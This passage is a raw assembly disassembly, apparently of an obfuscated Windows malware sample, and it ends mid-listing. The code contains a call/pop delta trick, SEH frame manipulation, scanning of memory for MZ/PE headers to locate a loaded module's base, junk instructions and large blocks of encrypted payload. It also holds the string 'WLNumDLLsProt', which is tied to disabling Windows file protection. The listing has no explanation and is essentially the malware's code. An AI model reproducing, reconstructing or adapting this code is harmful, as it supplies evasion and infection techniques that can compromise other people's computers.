loc_54400F: ; CODE XREF: start+63FFFj dec byte ptr [edi] inc edi dec ecx jnz short loc_54400F mov eax, 48692121h mov edx, 0F00E0000h sub edx, 0F0000000h lea eax, [ebp+5EA3678h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax mov bh, 23h movsx ebx, si sub eax, edx jnp loc_54404F mov bl, 57h loc_54404F: ; CODE XREF: start+64033j and eax, 0FFFFF000h mov ecx, edx xor edi, edi loc_544058: ; CODE XREF: start+6405Fj cmp word ptr [eax], 5A4Dh jnz short loc_54406D movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz short loc_544075 loc_54406D: ; CODE XREF: start+64049j sub eax, 1000h inc edi jmp short loc_544058 ; --------------------------------------------------------------------------- loc_544075: ; CODE XREF: start+64057j pop large dword ptr fs:0 add esp, 4 lea edx, [ebp+5EA368Bh] push edx push large dword ptr fs:0 mov large fs:0, esp add eax, ecx sub eax, 1000h mov esi, [eax+4] and esi, 0FFFF0000h cmp esi, 80000000h jbe short loc_5440AF mov esi, [eax+1Ch] loc_5440AF: ; CODE XREF: start+64096j xor eax, eax loc_5440B1: ; CODE XREF: start+640B0j cmp eax, 32h jz short loc_5440D5 cmp word ptr [esi], 5A4Dh jz short loc_5440C6 loc_5440BD: ; CODE XREF: start+640BFj sub esi, 10000h inc eax jmp short loc_5440B1 ; --------------------------------------------------------------------------- loc_5440C6: ; CODE XREF: start+640A7j mov edi, [esi+3Ch] add edi, esi cmp dword ptr [edi], 4550h jz short loc_544117 jmp short loc_5440BD ; --------------------------------------------------------------------------- loc_5440D5: ; CODE XREF: start+640A0j pop large dword ptr fs:0 add esp, 4 popa retn ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 51h, 8Bh, 4Ch dd 0A9811024h, 0B0h, 1000h, 0C3C03359h, 244C8B51h, 0E85510h dd 5D000000h, 3696ED81h, 858D05EAh, 5EA3654h, 0B88189h dd 595D0000h db 33h, 0C0h, 0C3h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_544117: ; CODE XREF: start+640BDj xchg eax, esi pop large dword ptr fs:0 add esp, 4 jz loc_54412C mov bx, 85D3h loc_54412C: ; CODE XREF: start+6410Ej mov bx, 2CF6h adc ebx, 100E12C3h mov cx, ds pusha sbb ebx, 21ABABDFh push edx and al, 70h pop eax popa and cl, 4 mov ebx, 1A3715EFh or cl, cl jnz loc_5441B8 push 0 push edi call sub_544161 and [edi-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_544161 proc near ; CODE XREF: start+64145p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_544161 endp ; --------------------------------------------------------------------------- db 9Bh, 0FBh, 94h dd 55AF742Eh, 0DA8B6668h, 2D185C7h, 105EAh, 0DE80000h dd 75000000h, 979ED2C7h, 0A58DC7A6h, 0C7F6A4CDh, 11E9h dd 77520C00h, 0C32CC656h, 93325CBDh, 0C0DD0B15h, 0E95B9933h dd 3Ch, 68B6BB66h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_5441B8: ; CODE XREF: start+6413Cj mov dword ptr [ebp+5EA02D1h], 0 push 0 push ecx call sub_5441CD and [ecx-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_5441CD proc near ; CODE XREF: start+641B1p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5441CD endp ; --------------------------------------------------------------------------- db 32h, 20h, 30h dd 2F61E8F4h, 5850F0Bh, 0BB000000h, 285D6B1Fh, 1D458589h dd 0DE805EAh, 0A2000000h, 627FBDCh, 27300955h, 0B0A6F665h dd 6890Fh, 0D3810000h, 18854A88h, 8D85895Bh, 0E805EA23h dd 5, 2781B57Bh, 5FD98BBCh, 8E8h, 6C16F200h, 2048329Bh dd 3840F76h, 0F000000h, 815AD1B7h, 69E7C7h, 68B7B400h dd 0 dd 8890Fh, 0F560000h, 8Eh, 66595800h, 0FFA134B8h, 0D8803934h dd 14E95EE0h, 0D1000000h, 3D139038h, 5A1A1A5Ah, 0EEC71F1h dd 3BB11F51h, 81AAB1ACh, 71862FEEh, 5E95130h, 8000000h dd 5E0EC3E7h, 0F68158h, 0B70A2366h, 9BF68162h, 6618C4A2h dd 890BBDBBh, 0B70F0F34h, 838CB0C0h, 4FBA01E9h, 4929C073h dd 8B664949h, 0DCF981D0h, 0FFFFF96h, 0E85h, 0E9C38B00h dd 1Bh, 751C645h, 818A60FBh, 7007F0F3h, 0FF81E947h, 0C9F7FFFFh dd 8C310934h, 0E89E7BB3h, 0Fh, 0F8DFFC92h, 0B794E22Bh dd 0B7788DC0h, 80AB7544h, 0E95A31DFh, 9, 9025C0DFh, 0C7BB1366h dd 1C281C8h, 66000071h, 682879B8h, 0 dd 5FCABF0Fh, 88C0Fh, 870F0000h, 2, 348BCA8Bh, 81DA8B3Ah dd 1FAFF9EEh, 48F0F56h, 66000000h, 81FAEABBh, 751B9FF6h dd 0D9D0B849h, 0F6813771h, 52AE50E6h, 58C08166h, 3A3489D2h dd 0D2C60ABBh, 81DA8B43h, 85959CEFh, 0CFBF0F30h, 9598C781h dd 810F3085h, 11h, 0B890Fh, 6E90000h, 84000000h, 9F4E8DE6h dd 0ACFF81E5h, 0FFFFF8Fh, 0FFFF9985h, 0C88160FFh, 28EA863h dd 781E961h, 8B600000h, 0EA11F595h, 0C2816605h, 1761E7CDh dd 2, 0F3E40000h, 9C5F1EA8h, 7349FF7Fh, 9793F4A9h, 9BBFE945h dd 5507h, 75B529h, 0F56005EAh, 0B8FCh, 8BFC0000h, 0E9282454h dd 5, 0F24038A1h, 5D858945h, 0F505EA2Dh, 3CBEh, 10880F00h dd 0E9000000h, 0Bh, 2308FC35h, 0BC5CC73Fh, 3EA599Eh, 0F8242474h dd 0BE9h, 1D651C00h, 5A168880h, 8E87E0C5h, 9D89AD66h, 5EA0DDDh dd 24244403h, 13E990F5h, 87000000h, 0B9AF283Ch, 0D4CB8056h dd 70BB4E91h, 12F810A0h, 0E9505A43h, 0Ah, 8CFE8CE6h dword_544450 dd 0D066FFF6h, 8990C7D8h, 0EA05B18Dh, 78408B05h, 2D99501h ; DATA XREF: ___:off_43CD24o dd 440305EAh, 9D092824h, 5EA14D9h, 2918408Bh, 0EA2F458Dh dd 880F4005h, 6, 0CC99529h, 858905EAh, 5EA3946h, 68D0FFCh dd 89000000h, 0EA1C6DBDh, 8D315805h, 5EA05EDh, 68D0Fh dd 0BD890000h, 5EA09C9h, 6078708Bh, 141BD89h, 836105EAh dd 85291CC6h, 5EA167Dh, 24247403h, 15558589h, 0BD8D05EAh dd 5EA17F9h, 0D5858B60h, 8005EA29h, 0AD614CCEh, 8E9h, 83D55900h dd 6FD9AB5Fh, 24440308h, 5DB58924h, 0AB05EA2Ah, 99BD8B60h dd 8905EA2Ch, 0EA32B595h, 8B606105h, 9E9F7h, 49ED0000h dd 74716991h, 61002E68h, 65DBD8Dh, 0ADFC05EAh, 29559509h dd 440305EAh, 85292424h, 5EA2B01h, 7800F50h, 60000000h dd 52CB8B66h, 489615Bh, 0FE924h, 15D30000h, 3488BCBh, 43484B73h dd 24122B48h, 9D01AB52h, 5EA30F9h, 1D61BD8Dh, 0BD2905EAh dd 5EA0BC9h, 810FF9ADh, 1, 244403F9h, 58D8928h, 0AB05EA17h dd 13E9h, 785B3100h, 56009445h, 0A7C6B309h, 3D5B14D8h dd 7E247E52h, 0CE95Eh, 0E8140000h, 4FCE1C81h, 0B5419A22h dd 8DFF388Fh, 5EA3946h, 3946BD83h, 750005EAh, 2444C710h dd 1Ch, 2BB58D00h, 0FF05EA3Eh, 3AD56E6h, 97282444h, 858ADF8Bh dd 5EA1A45h, 474C084h, 4C75073Ah, 0AEC03257h, 2B5EFD75h dd 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh, 8AEA8ACDh dd 6608B6D6h, 0D166EBD1h, 660973D8h, 66504135h, 5449F381h dd 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h dd 5AC18B66h, 0F74D03Bh, 4C6835Eh, 2D5D85FFh, 6FE905EAh dd 5EFFFFFFh, 0E8B0Fh, 81600000h, 0BA4CD7D9h, 21B58B4Dh dd 6105EA01h, 1840Fh, 8BF50000h, 0EA2D5D85h, 0E0D1F805h dd 0A8E0Fh, 8B600000h, 0EA11ED85h, 61585305h, 1D618503h dd 896005EAh, 0EA1A8D8Dh, 9858905h, 6105EA30h, 12880Fh dd 0DE90000h, 0F8000000h, 9E18DB7Ah, 0F94A75DDh, 0D28985BCh dd 0BEh, 0B98D8900h, 9605EA09h, 13E9h, 0F0B0FA00h, 66E7F531h dd 50588C88h, 3C7FE36Bh, 653D94E0h, 0CE9AD66h, 4D000000h dd 0E886E2DDh, 0F7666CF3h, 0C1D7A7DBh, 8C0F02E0h, 10h dd 0BE9h, 0C07CC600h, 970B57D8h, 367A758Dh, 17F98503h dd 10E905EAh, 0B8000000h, 0FE144D2Ch, 8333C244h, 9867DE1Dh dd 96B03ABCh, 0BF19589h, 60AD05EAh, 0F69958Bh, 9D8B05EAh dd 5EA07E9h, 14E961h, 69070000h, 0D0DCF15Fh, 0BC02A23Eh dd 0A78BD844h, 0C08EAF87h, 4C8BAABAh, 0FC602424h, 16059D8Bh dd 0E96105EAh, 0Bh, 92B15B3h, 34F7B93Eh, 3C8A42Fh, 0F242444h dd 687h, 499D0100h, 8905EA0Bh, 0E91C2444h, 0Dh, 0C825A8A0h dd 2848CABCh, 820C3CCBh, 896096C4h, 0EA30F5B5h, 14E905h dd 0B7200000h, 0BAA1B2FCh, 9CE0B491h, 139F4C2Eh, 0AB336A42h dd 31618EADh, 0EA1DB9B5h, 820FAC05h, 18h, 13E9h, 0DC9CE00h dd 42004036h, 0AA16D849h, 79FDDF27h, 6A0058DCh, 8E0FC932h dd 1, 0FC1FEFCh, 684h, 359D2900h, 0D005EA07h, 0BD830FD0h dd 89000000h, 0EA16618Dh, 0FD0D005h, 0AF83h, 58D3100h dd 0D005EA2Eh, 0A1820FD0h, 0F5000000h, 6E860h, 30B90000h dd 0C8FC75F7h, 0FE9h, 0D6AE5900h, 1E07BE6Eh, 0DCF62BFCh dd 6BDE798Fh, 9185895Ah, 6105EA2Eh, 820FD0D0h, 70h, 65B50160h dd 0E805EA0Ch, 0Dh, 20FFE08Dh, 0B6114E87h, 77567683h, 0F19D337Ah dd 5B05EA23h, 0FC9FE61h, 0FFFF8289h, 0C850FFFh, 0F000000h dd 68Ah, 860F00h, 83000000h, 5E920C4h, 0B2000000h, 89C7628Dh dd 0FC2444C7h, 0 dd 70D8589h, 1B805EAh, 0F5000000h, 70628D8Dh, 9D0105EAh dd 5EA23A5h, 8D89E1FFh, 5EA2CF1h, 1A4585C6h, 10005EAh dd 0EA129DBDh, 860F6105h, 1, 8C2FCh, 6890Fh, 9D290000h dd 5EA2D6Dh, 9E996h, 6CF40000h, 0E0B90171h, 5007536Bh dd 52505250h, 8D0Fh, 310F0000h, 310F5250h, 585A585Ah, 820F310Fh dd 17h, 12E9h, 87417C00h, 0E8AF1159h, 3D64BB52h, 504693B5h dd 5A69E509h, 880F9658h, 11h, 0CE9h, 0E8327B00h, 0D59978FFh dd 50524743h, 80B589A5h, 2905EA40h, 0EA0B418Dh, 0A98D8905h dd 0F05EA40h, 1984h, 14E900h, 0C7910000h, 3CC000CEh, 0EDC7C653h dd 0AFB01FCAh, 0EB7B4E51h, 9D89CEF2h, 5EA1E95h, 3F29B58Dh dd 0AE905EAh, 46000000h, 5E263AA2h, 0E598B664h, 35858DB2h dd 60005B7Eh, 880Fh, 0FF610000h, 0F99D29D0h, 5E05EA07h dd 18F0Fh, 0C3FC0000h, 0DE9h, 8359B900h, 56A42D83h, 0B3D25A05h dd 0B58B8061h, 5EA4080h, 599BD01h, 8D8B05EAh, 5EA40A9h dd 37BB6660h, 718D8969h, 6105EA10h, 1399B509h, 0B805EAh dd 89000000h, 0EA09699Dh, 0F8D98B05h, 131D9531h, 0E8E905EAh dd 0E9000000h, 9, 0AF8D8CBh, 881DDDF6h, 6026326Dh, 0E9F88B66h dd 14h, 2E510FDBh, 80CA04EFh, 95D3DA3Fh, 0D135CD9Ch, 7B0625C6h dd 2902B261h, 0EA2E6195h, 0C870F05h, 0F000000h, 687h, 840F00h dd 0E9000000h, 72h, 6840Fh, 85890000h, 5EA2905h, 0BD89C232h dd 5EA1EA9h, 751D7A05h, 9820F8Ah, 60000000h, 61BD0Bh, 61F805EAh dd 8D29CC8Ah, 5EA257Dh, 6660C8D3h, 8509F28Bh, 5EA24ADh dd 7870F61h, 0F000000h, 18Bh, 4235F500h, 6098D108h, 32A1858Bh dd 61FC05EAh, 1D418589h, 0CAFE05EAh, 0C860Fh, 850F0000h dd 6, 8A0Fh, 0D20A0000h, 0FF92850Fh, 5760FFFFh, 7299589h dd 665A05EAh, 61CB40B9h, 0E946F84Bh, 0Bh, 603FA6FFh, 0BD4696EEh dd 0B506A61h, 1E850FDBh, 0E9FFFFFFh, 11h, 6062BCA0h, 9F1AE1EBh dd 27E08D1h, 8FB8F400h, 9D89CF85h, 5EA094Dh, 8E9h, 4987B100h dd 414CB8EBh, 0F000077h, 1881h, 12810F00h, 0E9000000h dd 0Dh, 8804E5B2h, 3DC91E4Ah, 19721548h, 0F50000FDh, 14158529h dd 5EAh, 12A99529h, 5EAh, 18E0Fh, 8DF50000h, 0EA396985h dd 0B70F6005h, 8961F8F8h, 0EA0AFD95h, 5D858905h, 0F505EA03h dd 3E4F858Dh, 606005EAh, 958B6160h, 5EA2F45h, 85896161h dd 5EA31B1h, 14EBh, 3 dup(0) dword_544B64 dd 8B0000h, 858D0000h, 5EA41B9h, 2D558589h, 0BD8305EAh dd 5EA40F9h, 23840F00h, 0C6000001h, 0EA1A4585h, 26685605h dd 81C535F7h, 9A1F2434h, 0B5FF112Ah, 5EA1D45h, 3969858Dh dd 0D0FF05EAh, 40ED8589h, 85C605EAh, 5EA1A45h, 4E856h dd 0B8520000h, 8B509CA8h, 8B042444h, 24448900h, 0B5FF5804h dd 5EA1D45h, 3969858Dh, 0D0FF05EAh, 40F18589h, 46A05EAh dd 1AE5EB68h, 24348155h, 551AF5EBh, 40FD858Bh, 0F40505EAh dd 0C1000001h, 895002E0h, 6A2404h, 40F195FFh, 858905EAh dd 5EA40F5h, 0FFB8D88Bh, 0FFFFFFFFh, 0EA2D5595h, 0FFC38B05h dd 0EA2D5595h, 84E905h, 0BD830000h, 5EA40F9h, 1850F00h dd 0C3000000h, 0F5BD8B57h, 0AB05EA40h, 40F58583h, 5F0405EAh dd 0F9BD83C3h, 5EA40h, 1850Fh, 60C30000h, 40F5AD83h, 8B0405EAh dd 0EA40F59Dh, 0FC7B8305h, 1D850FFFh, 68000000h, 67CC7E78h dd 78243481h, 6A67CCFEh, 0FF33FF00h, 0EA40ED95h, 0E9C36105h dd 1Dh, 5C068E68h, 24348104h, 45C868Eh, 33FF006Ah, 40ED95FFh dd 0AD8305EAh, 5EA40F5h, 0FFB1E904h, 0E948FFFFh, 9D3h dd 544182B4h, 9493AEFDh, 0FFCC199Eh, 0BD481687h, 0B7D602ACh dd 7874504Ch, 92E1E768h, 67725605h, 5941A4E9h, 9C9FECF6h dd 0AC9E0E8Ch, 0F84F0496h, 0D4B949A3h, 6C7E5A3Ch, 0C0EDE675h dd 61705605h, 5941A7E6h, 8180ECECh, 0B29E1196h, 0EF541A8Ah dd 0B7D247B7h, 68691608h, 92A0F775h, 61651804h, 4041B1F2h dd 8181A3EAh, 901198h, 63h dup(0) dd 5D4182B4h, 878FA2F7h, 0AF9E0E96h, 0EF5C189Dh, 0B1930AAFh dd 6F3B450Dh, 0C0AFE663h, 60695716h, 4513E3E3h, 9D8FA2F6h dd 0B1D75C9Eh, 0E8540ECFh, 0A0C047BCh, 607E421Fh, 0B0CC8928h dd 7D7D5D1Ch, 4541EFE2h, 9289A0F6h, 0ABD75C9Dh, 0F24911CFh dd 0BCDE47A3h, 74695901h, 84AFE226h, 7D794A50h, 4413A2F3h dd 8689B5B8h, 0ADCE5C8Bh, 0FC491080h, 49A3h, 0Ah dup(0) db 2 dup(0) word_544F42 dw 0 ; DATA XREF: ___:off_435750o dd 3Dh dup(0) dd 534182B4h, 9885ADEAh, 0AC990E9Ch, 0F25403CFh, 0B8DB47A2h dd 6879161Fh, 86E1ED63h, 6A724D1Fh, 5E14B1A7h, 9488A5F6h dd 0FFD015D9h, 0EF4E1896h, 0AACA14EEh, 23765318h, 8C918E0Ch dd 6B6F5915h, 5E14E3ABh, 9787A3F4h, 0FFCA15D9h, 0F0540589h dd 0B4D60AEEh, 2D624403h, 0C0A5ED67h, 7A6F5D02h, 1015B1E6h dd 8193A3E1h, 0B0CC0CD9h, 0F05A0588h, 0E0h, 61h dup(0) dd 5C0885B4h, 9C85ECFDh, 0AFCB0E8Bh, 0BC5F129Bh, 0B1E747E0h dd 7D3B4505h, 92A6EC74h, 663C5511h, 5241B0E6h, 0D388A9FDh dd 0B6D01D94h, 0FC57029Fh, 0F9D702BAh, 2D7F580Dh, 82B8E26Bh dd 67113215h, 1012E4F3h, 9680A2F1h, 0BBDB089Ah, 0BD4215CFh dd 0B0E547AFh, 2D68431Eh, 83E1F169h, 657F5902h, 104FA7E2h dd 808FA4CCh, 0B3D71AD9h, 0F24C578Ah, 0F9C740A0h, 6669591Bh dd 99AFE226h, 6B6E571Dh, 0A9h, 27h dup(0) dword_545350 dd 0B9h dup(0) ; DATA XREF: ___:off_43CCE4o aWlnumdllsprot db 'WLNumDLLsProt',0 a0 db '0',0 dd 8 dup(0) dd 78450000h, 53207469h, 75746174h, 203D2073h, 6425h, 0 dd 0E9000000h, 2DC0h, 2C71BD89h, 6AFC05EAh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 4172C356h dd 81500EDDh, 0E61F90B4h, 1C459D8Bh, 0C08B05EAh, 2325958Bh dd 0BD8305EAh, 5EA13D9h, 83097500h, 0EA2EE5BDh, 13740005h dd 0C08B5350h, 1B8h, 979D8D00h, 0FF05ECDCh, 83585BD3h dd 0EA2EE5BDh, 11740005h, 1B85350h, 8D000000h, 0ECDB489Dh dd 5BD3FF05h, 81665158h, 5BFC2AE3h, 0F98AD98Ah, 9008DA81h dd 0C08B6C20h, 6870F50h, 8B000000h, 0EA1E3D9Dh, 0BD835A05h dd 5EA2EF9h, 0D1840F00h, 83000001h, 0EA02A9BDh, 840F0005h dd 1C4h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 2BC35646h, 9E65E381h, 8A601600h, 799D8BF3h, 8B05EA20h dd 0EA02A985h, 0D78BFC05h, 3E805h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0D7245D9Eh dd 0D78B50C5h, 6A240489h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 0E377C356h, 9A7BEF2Bh dd 0DCC96F80h, 0C6A4BB66h, 4BFD858Dh, 6A05EAh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 7A3F60C3h, 0C9F9FA8h, 0D3804717h, 0F6BB900Ah, 505F32A4h dd 0AE9h, 75201D00h, 0B6AE793Fh, 905C2BF2h, 4BDB858Dh dd 6A05EAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 17FC8AC3h, 8DD79C37h, 0BA3D9135h, 66086EE8h dd 0E8F0F90h, 50000000h, 0F5A5052h, 0F525031h, 5A585A31h dd 8FB25058h, 0DE990h, 0FD850000h, 0AB2B3F97h, 0DF223265h dd 0FFA4B08Eh, 0EA0C6995h, 0C483FC05h, 759D8B0Ch, 8D05EA25h dd 0EA4BDB85h, 999D8B05h, 5005EA2Ah, 12870Fh, 6E80000h dd 0C9000000h, 2497DC9Eh, 0F525001h, 5A585A31h, 31240489h dd 0EA116D85h, 6A026A05h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 40D1C353h, 0F60F4D5h dd 680h, 11BD8900h, 6105EA2Eh, 857495FFh, 85890068h, 5EA1D35h dd 50006A61h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 85891F02h, 5EA1E7Dh, 4C0E85C7h, 105EAh dd 60600000h, 0E13B91BBh, 0F528BE23h, 0E8614551h, 13h dd 0DF577C0Bh, 7FEDFAADh, 279D4BC6h, 339AE408h, 0F71F3DBh dd 615FF9BFh, 0E9525050h, 12h, 292E832Eh, 0F98F5CE8h, 3B728F0Fh dd 15AA6C17h, 310F2A5Ch, 585AD78Bh, 66243489h, 9D8BDA8Bh dd 5EA0EF5h, 4BBFB589h, 958B05EAh, 5EA09DDh, 2D1BD83h dd 0F0105EAh, 8885h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 0AE0126Fh, 0F883CDCEh dd 5E850F05h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 2ADC357h, 0BF4F810Dh dd 52575461h, 11199523h, 5B5A05EAh, 0B8h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0C8D35F3Bh, 0CF1CD0EAh, 8BD78BDEh, 0EA12CD95h, 0FDBD8305h dd 5EA0Fh, 17840Fh, 0B80000h, 0F000000h, 689h, 418D2900h dd 8105EA31h, 2797B6EAh, 6A6060h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 99D87C3h, 0EA0BD1B5h dd 819D2B05h, 8B05EA0Dh, 0EA0C9585h, 15800F05h, 0F000000h dd 0F80h, 9E800h, 0C1850000h, 0FAC9D53Fh, 5B6B26C1h, 6602C083h dd 8589DE8Bh, 5EA4BB7h, 858B6060h, 5EA15C9h, 816661F5h dd 6152D8E3h, 9FF00C6h, 0EA0131B5h, 39958B05h, 0C605EA31h dd 0EA1A4585h, 8B665305h, 0DDBB68DFh, 348187BAh, 0B956324h dd 35958B7Bh, 8B05EA02h, 0EA13859Dh, 8DB5FF05h, 6A05EA23h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0A7EAC353h, 67C8264Ch, 0F9FCFED2h, 0AFA0858Dh dd 5E805EDh, 0F9000000h, 73CB3D0Ah, 1B21B589h, 0FF5A05EAh dd 12E9D0h, 0DECE0000h, 0CD064FD2h, 47105587h, 3AE37819h dd 0AD59BB3Dh, 10158589h, 0BD8305EAh, 5EA0FC9h, 0DA850F01h dd 66000000h, 2D3EC281h, 56006A61h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 9E05D2ACh, 74723EA0h dd 0D9958B93h, 0C605EA00h, 0EA1A4585h, 52684505h, 50B774F5h dd 0FDF8B52h, 81585A31h, 0CD902434h, 6A6D14h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0C9222CC3h dd 8DB5FF49h, 0B205EA23h, 0A0858DFAh, 6A05EDAFh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 9749C352h, 8D0F51ABh, 0Eh, 9E9h, 87898000h, 5DED00D1h dd 0BBB2F2F1h, 10E9D0FFh, 99000000h, 0FEE49C76h, 0DE99A394h dd 6221AC0Bh, 6AA9AC53h, 0C1953300h, 0FF05EA2Ch, 6830FD0h dd 8B000000h, 0EA29B195h, 0E1BD8305h, 105EA2Ah, 0E4850Fh dd 830F0000h, 8, 9950352h, 5A05EA1Ah, 0C95858Bh, 9D8B05EAh dd 5EA23D5h, 78E9h, 5E900h, 35760000h, 90699ECCh, 7E9h dd 0A3636500h, 1309F69Eh, 90DA8B50h, 0CE8h, 7B578800h dd 67103562h, 0B3678F2Ah, 146A5A64h, 32618589h, 95FF05EAh dd 5EA1015h, 107D958Bh, 6A5805EAh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 9840C352h dd 92A0E23Fh, 0E820F0Ah, 60000000h, 0B9D958Bh, 810F05EAh dd 0 dword_545CA4 dd 388061h, 0FF89850Fh, 9D8BFFFFh, 5EA1A8Dh, 6A0100C6h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 0F036C355h, 0F87C1E87h, 8166865Eh, 0E9DFDCC3h dd 0Bh, 8EDC67D2h, 6628BD37h, 6674FB3Bh, 8161D98Bh, 0DF16F6DBh dd 0CDBD8363h, 5EA05h, 60840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 0D6B6EAC3h dd 958B8486h, 5EA1CA1h, 0B589FF6Ah, 5EA2BD9h, 101595FFh dd 840F05EAh, 0Dh, 8E9h, 0AEA82300h, 834C277h, 0FFDAE9CBh dd 3160FFFFh, 0EA12CDB5h, 6820F05h, 89000000h, 0EA3199B5h dd 85C76105h, 5EA05CDh, 1, 2E159D8Bh, 858905EAh, 5EA4BC3h dd 2B18529h, 0E85005EAh, 14h, 28E2377Dh, 7C38AD85h, 0B22849F2h dd 0DEAB2ED5h, 52C1EE25h, 0D38B6657h, 4895B5Bh, 7D8D0124h dd 6005EA1Ch, 0B8B6BB66h, 6A056Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0ECFB13C3h, 0FFDAE3D8h dd 16998589h, 0C28005EAh, 0DB858DD4h, 8005EA4Bh, 6090E4EFh dd 5060E78Ah, 5A310F52h, 0EE858h, 46080000h, 0BCACD8CFh dd 141E2FCEh, 5EE902B1h, 5061615Fh, 0C820Fh, 830F0000h dd 6, 8E0Fh, 6A900000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 9E23C351h, 5840Fh dd 0AABA0000h, 8D71715Eh, 0EA4BCB85h, 5AF95605h, 50F08A90h dd 0DF8B5250h, 0FEB3310Fh, 6A90585Ah, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0E381C352h dd 30DC514Dh, 0DB26B1F0h, 5E9h, 598D600h, 95FF706Ch, 5EA11F1h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 5CC35646h dd 9F078C0h, 0D1BF0F45h, 797A8D8Dh, 6A05EAh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 2D9145C3h dd 66C799DAh, 0BEB3BBAh, 8D1174C0h, 0EA4BDB85h, 0D1FF5005h dd 4BF98589h, 0AEB05EAh, 4BF985C7h, 0FFFF05EAh, 8D09FFFFh dd 5EA29B1h, 3161FD8Ah, 0EA07E9B5h, 0C6D78B05h, 0EA1A4585h dd 8C0F4D05h, 15h, 10E9h, 1D11B700h, 33FBD894h, 3BE15A6Ah dd 0D8BCD6FCh, 45BD2913h, 0E805EA2Fh, 4, 0A43576A8h, 7E960h dd 6F360000h, 0E4F7692Fh, 8F01BBABh, 50610601h, 0E08442BAh dd 24448B18h, 6E5ABA04h, 8B224Dh, 0AE8h, 8AE43800h, 0C8AB1049h dd 0E9F9AE72h, 0Bh, 1A872C4Ah, 8C0BFE45h, 5AD1406Dh, 4244489h dd 3009F5BAh, 0F2815815h, 5CEFB560h, 0F6DB5FFh, 816605EAh dd 8D6B1EDAh, 0EDAFA085h, 0D7BF0F05h, 11399589h, 0D0FF05EAh dd 5E9h, 206D6C00h, 8589B025h, 5EA02F9h, 6810Fh, 0BD290000h dd 5EA0635h, 1A4585C6h, 8B4505EAh, 0EA00959Dh, 0B2326805h dd 9E88CE4h, 0CA000000h, 54E352E0h, 1699AB9Fh, 815AFD8Ah dd 0DB5B2434h, 8D310296h, 5EA063Dh, 238DB5FFh, 858D05EAh dd 5EDAFA0h, 0FFDA8B66h, 66D68BD0h, 3810EB81h, 2E7D8589h dd 0EE905EAh, 5B000000h, 0C91B1700h, 0F82430F0h, 0D692D4B6h dd 31D28B7Ah, 0EA1B0DB5h, 0D98C6605h, 6953BA66h, 0F04C1F6h dd 28184h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 0F1160144h, 0C9C1A7F5h, 57E9972Eh dd 66000001h, 0BCF7D281h, 0F5B58Bh, 6A05EAh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 41A37CC3h dd 22778E1Ch, 8164B332h, 1180C6h, 58D0F00h, 0BB000000h dd 2F76D101h, 1CD1BD83h, 0F0005EAh, 5C85h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0E9C87B75h, 7, 2776D22Fh, 0E90037DBh, 0C8h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0D9C35141h, 6E43C6C7h dd 77992A81h, 0BD8589C7h, 0B705EA29h, 3E8357h, 92840Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 8FDB9FC3h, 28E5958Bh, 6A6005EAh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 507BC357h, 1ED18529h, 146A05EAh, 96C6BB66h, 101595FFh dd 880F05EAh, 3, 61DE8B66h, 7219D29h, 8EE905EAh, 6AFFFFFFh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 11BAC353h, 530D148Ah, 0C28109A1h, 